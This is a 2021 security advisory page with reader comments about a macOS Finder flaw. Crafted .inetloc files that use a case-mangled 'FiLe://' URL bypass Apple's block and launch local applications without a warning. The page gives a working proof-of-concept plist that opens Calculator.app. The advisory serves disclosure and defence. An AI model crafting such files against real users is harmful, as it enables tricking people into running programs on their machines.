# SSD Advisory – macOS Finder RCE

**September 21, 2021** **SSD Disclosure / Technical Lead (https://ssd-disclosure.com/author/noamr/)**

**Uncategorized (https://ssd-disclosure.com/category/uncategorized/)**

**TL;DR**

Find out how a vulnerability in macOS Finder system allows remote attackers to trick users into running arbitrary commands.

**Vulnerability Summary**

A vulnerability in macOS Finder allows files whose extension is `inetloc` to execute arbitrary commands, these files can be embedded inside emails which if the user clicks on them will execute the commands embedded inside them without providing a prompt or warning to the user.

**Credit**

An independent security researcher, Park Minchan, has reported this vulnerability to the SSD Secure Disclosure program.

**Affected Versions**

- macOS Big Sur and prior

**Vendor Response**

The vendor has been notified us that `file://` has been silently patched the vulnerability in Big Sur and has not assigned it a CVE. We have notified Apple that `FiLe://` (just mangling the value) doesn't appear to be blocked, but have not received any response from them since the report has been made. As far as we know, at the moment, the vulnerability has not been patched.

**Vulnerability Analysis**

A vulnerability in the way macOS processes `inetloc` files causes it to run commands embedded inside, the commands it runs can be local to the macOS allowing the execution of arbitrary commands by the user without any warning / prompts.

Originally, `inetloc` files are shortcuts to an Internet location, such as an RSS feed or a telnet location; and contain the server address and possibly a username and password for SSH and telnet connections; can be created by typing a URL in a text editor and dragging the text to the Desktop.

The case here `inetloc` is referring to a `file://` "protocol" which allows running locally (on the user's computer) stored files.

If the `inetloc` file is attached to an email, clicking on the attachment will trigger the vulnerability without warning.

Newer versions of macOS (from Big Sur) have blocked the `file://` prefix (in the `com.apple.generic-internet-location` ) however they did a case matching causing `File://` or `fIle://` to bypass the check.

**Demo**

**Exploit**

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
  <dict>
    <key>URL</key>
    <string>FiLe://////////////////////////System/Applications/Calculator.app</string>
  </dict>
</plist>
```

**Tags:** Remote Code Execution (Https://Ssd-Disclosure.com/Tag/Remote_code_execution/)



## Comments

**Parkminchan**

September 21, 2021 at 3:13 pm (https://ssd-disclosure.com/ssd-advisory-macos-finder-rce/#comment-1139)

It's not just possible in the 'Mail' application.
This vulnerability allows any program that can attach and execute files (iMessage, MS Office…) to Remote Code Execution from the operating system.

Reply

---

**Tom**

September 21, 2021 at 4:31 pm (https://ssd-disclosure.com/ssd-advisory-macos-finder-rce/#comment-1140)

Is there a way to pass arguments to the program that opens? Or run arbitrary commands? It seems this vulnerability can only be used to open Calculator.app or Terminal.app.

Reply

---

**Dario Omar (Http://Plastore)**

September 21, 2021 at 5:00 pm (https://ssd-disclosure.com/ssd-advisory-macos-finder-rce/#comment-1141)

Great find! Me gusta mucho esta app

Reply

---

Pingback: New macOS zero-day bug lets attackers run commands remotely (https://www.bleepingcomputer.com/news/apple/new-macos-zero-day-bug-lets-attackers-run-commands-remotely/)

---

Pingback: Vulnerabilidade no Mac permite execução remota de comandos – MacMagazine (https://macmagazine.com.br/post/2021/09/21/vulnerabilidade-no-mac-permite-execucao-remota-de-comandos/)

---

Pingback: A zero-day flaw allows to run arbitrary commands on macOS systems - MalwareHelp.com (https://malwarehelp.com/index.php/2021/09/22/a-zero-day-flaw-allows-to-run-arbitrary-commands-on-macos-systems/news/admin/)

---

Pingback: Apple partially patches new macOS Finder zero-day vulnerability – Tech Feed News (https://techfeedng.com/2021/09/22/apple-partially-patches-new-macos-finder-zero-day-vulnerability/)

---

Pingback: Unpatched High-Severity Vulnerability Affects Apple macOS Computers - NY Press News (https://nypressnews.com/news/technology/cyber-security/unpatched-high-severity-vulnerability-affects-apple-macos-computers/)

---

Pingback: SSD Advisory – macOS Finder RCE: A vulnerability in macOS Finder system allows remote attackers to trick users into running arbitrary commands. - Adware.ws (https://adware.ws/index.php/2021/09/22/ssd-advisory-macos-finder-rce-a-vulnerability-in-macos-finder-system-allows-remote-attackers-to-trick-users-into-running-arbitrary-commands-2/malware-security-ne)

---

Pingback: Serious New MacBook Pro And Mac Problem Suddenly Confirmed - top10foryou.com (https://top10foryou.com/2021/09/21/serious-new-macbook-pro-and-mac-problem-suddenly-confirmed/)

Pingback: Actu365 - A zero-day flaw allows to run arbitrary commands on macOS systems (https://actu365.com/tek/securite-informatique/2021/09/22/a-zero-day-flaw-allows-to-run-arbitrary-commands-on-macos-systems/)

Pingback: Unpatched High-Severity Vulnerability Affects Apple macOS Computers – McHugo.com (https://mchugo.com/unpatched-high-severity-vulnerability-affects-apple-macos-computers/)

Pingback: Unpatched High-Severity Vulnerability Affects Apple macOS Computers - F1TYM1 (https://f1tym1.com/2021/09/22/unpatched-high-severity-vulnerability-affects-apple-macos-computers/)

Pingback: Apple partially patches new macOS Finder zero-day vulnerability • Iphone Paradise (https://iphoneparadise.com/2021/09/22/apple-partially-patches-new-macos-finder-zero-day-vulnerability/)

Pingback: A New Vulnerability Found in Apple’s macOS Finder Lets Attackers Run Commands Remotely | (https://zephyrnet.com/a-new-vulnerability-found-in-apples-macos-finder-lets-attackers-run-commands-remotely/)

Pingback: Apple partially patches new macOS Finder zero-day vulnerability - Phoneweek (https://www.phoneweek.co.uk/apple-partially-patches-new-macos-finder-zero-day-vulnerability/)

Pingback: Apple partially patches new macOS Finder zero-day vulnerability - The Filibuster Blog (https://thefilibusterblog.com/apple-partially-patches-new-macos-finder-zero-day-vulnerability/)

Pingback: Unpatched MacOS Vulnerability Let Hackers Take Over The Apple Systems Remotely - Cyber Security News (https://cybersecuritynews.com/unpatched-macos-vulnerability-let-hackers-take-over-the-apple-systems-remotely/)

Pingback: Remote code execution vulnerability found on macOS - Gadget Tendency (https://gadgettendency.com/remote-code-execution-vulnerability-found-on-macos/)

Pingback: Apple partially patches new macOS Finder zero-day vulnerability - TECHTELEGRAPH (https://techtelegraph.co.uk/apple-partially-patches-new-macos-finder-zero-day-vulnerability/)

## Leave a Reply

**Comment**

Name *

Email *

Website

Save my name, email, and website in this browser for the next time I comment.

POST COMMENT



(https://www.youtube.com/channel/UC9ZnYbYqOe6Y3eRdw0TMz9Q?disclosure&as=subscriber)